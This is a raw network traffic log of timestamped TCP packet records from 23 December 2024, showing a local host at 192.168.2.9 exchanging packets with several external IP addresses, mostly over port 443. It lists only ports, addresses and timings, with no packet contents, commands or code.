Dec 23, 2024 17:16:18.596045017 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.596056938 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.645910978 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.663296938 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.667146921 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.667227983 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.667238951 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.667279959 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.667330027 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.667469025 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.667481899 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:18.667494059 CET	49713	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:18.667500019 CET	443	49713	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:19.182574034 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:19.182621956 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:19.182698011 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:19.183166027 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:19.183175087 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:19.227169991 CET	80	49714	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:19.227288961 CET	49714	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:20.397365093 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:20.397458076 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:20.445936918 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:20.445962906 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:20.446351051 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:20.447701931 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:20.447880983 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:20.447920084 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:20.597398043 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:20.597454071 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:20.597537041 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:20.605781078 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:20.605825901 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:21.466741085 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:21.466837883 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:21.466901064 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:21.467097044 CET	49715	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:21.467108965 CET	443	49715	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:21.650158882 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:21.650249958 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:21.650331020 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:21.650666952 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:21.650691032 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:22.192290068 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.192594051 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.246753931 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.246790886 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.247164011 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.247220993 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.256937027 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.299329996 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.862555027 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:22.862637997 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:22.865215063 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:22.865230083 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:22.865529060 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:22.867458105 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:22.867594957 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:22.867640018 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:22.867686987 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:22.869498014 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.869524956 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.869561911 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.869592905 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.869607925 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.869611025 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.869627953 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.869657993 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.873722076 CET	49716	443	192.168.2.9	185.166.143.48
Dec 23, 2024 17:16:22.873735905 CET	443	49716	185.166.143.48	192.168.2.9
Dec 23, 2024 17:16:22.915344000 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:23.624917984 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:23.624974966 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:23.625040054 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:23.625468016 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:23.625483990 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:23.834471941 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:23.834675074 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:23.834742069 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:23.891521931 CET	49717	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:23.891580105 CET	443	49717	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:24.474251986 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:24.474311113 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:24.474402905 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:24.474785089 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:24.474801064 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:24.591293097 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:24.591340065 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:24.591433048 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:24.592499018 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:24.592514038 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:25.050730944 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.050820112 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.055121899 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.055145025 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.055414915 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.055584908 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.056039095 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.103337049 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.530527115 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.530658007 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.581216097 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.581235886 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.581276894 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.581542969 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.581561089 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.581620932 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.688656092 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:25.689063072 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:25.693097115 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:25.693111897 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:25.693398952 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:25.696791887 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:25.696991920 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:25.697030067 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:25.697104931 CET	49719	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:25.697113991 CET	443	49719	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:25.760860920 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.760898113 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.760941982 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.760967970 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.760984898 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.761010885 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.768537998 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.768625021 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.815628052 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.815658092 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.815748930 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.815778971 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.815819025 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.824060917 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.824141979 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.936614037 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.936645031 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.936947107 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.936976910 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.937031984 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.943020105 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.943202972 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.981604099 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.981631994 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.981676102 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.981863022 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.981895924 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:25.981978893 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:25.991894007 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:25.992115974 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:25.993925095 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:25.993947983 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:25.994772911 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:26.018742085 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.018775940 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.018821955 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.018923044 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.018966913 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.018978119 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.019004107 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.036617041 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:26.048290014 CET	49720	443	192.168.2.9	104.121.10.34
Dec 23, 2024 17:16:26.091337919 CET	443	49720	104.121.10.34	192.168.2.9
Dec 23, 2024 17:16:26.122987032 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.123018980 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.123054981 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.123132944 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.123167992 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.123186111 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.123214006 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.145756960 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.145775080 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.145874023 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.145900011 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.145925999 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.145936012 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.145963907 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.167794943 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.167820930 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.167848110 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.167900085 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.167934895 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.167953014 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.167968035 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.182205915 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.182225943 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.182255030 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.182284117 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.182317972 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.182329893 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.182353020 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.195910931 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.195930004 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.195990086 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.196018934 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.196055889 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.197611094 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.197670937 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.210314035 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.210333109 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.210361958 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.210464001 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.210498095 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.210513115 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.210527897 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.223970890 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.223989010 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.224061966 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.224143028 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.224143028 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.224172115 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.224236012 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.312280893 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.312313080 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.312366009 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.312396049 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.312431097 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.312450886 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.313970089 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.314033031 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.324369907 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.324388027 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.324455976 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.324474096 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.324518919 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.325778961 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.325845003 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.336551905 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.336576939 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.336611986 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.336637974 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.336663008 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.336687088 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.336704016 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.346488953 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.346508980 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.346554041 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.346573114 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.346590042 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.346617937 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.346646070 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.355462074 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.355488062 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.355524063 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.355536938 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.355577946 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.356661081 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.356709003 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.364578009 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.364597082 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.364628077 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.364666939 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.364676952 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.364713907 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.370609999 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.370629072 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.370687008 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.370687962 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.370722055 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.370734930 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.370764017 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.376838923 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.376854897 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.376913071 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.376940012 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.376981974 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.376990080 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.377022982 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.506593943 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.506618977 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.506650925 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.506666899 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.506704092 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.506717920 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.506738901 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.512703896 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.512722969 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.512778997 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.512788057 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.512833118 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.513458014 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.513500929 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.520314932 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.520335913 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.520411968 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.520425081 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.520463943 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.520884037 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.520930052 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.525199890 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.525217056 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.525285006 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.525294065 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.525331020 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.525752068 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.525799036 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.531670094 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.531697989 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.531763077 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.531771898 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.531814098 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.532409906 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.532450914 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.537808895 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.537828922 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.537946939 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.537955046 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.537991047 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.538530111 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.538572073 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.543986082 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.544009924 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.544080973 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.544090986 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.544128895 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.544755936 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.544797897 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.695842028 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.695878029 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.695945024 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.695965052 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.696018934 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.696018934 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.696691990 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.696742058 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.702680111 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.702708960 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.702738047 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.702769041 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.702778101 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.702811003 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.702830076 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.708934069 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.708951950 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.709018946 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.709033012 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.709069967 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.709172010 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.709213972 CET	49718	443	192.168.2.9	3.5.29.203
Dec 23, 2024 17:16:26.715044975 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.715065956 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.715100050 CET	443	49718	3.5.29.203	192.168.2.9
Dec 23, 2024 17:16:26.715140104 CET	49718	443	192.168.2.9	3.5.29.203
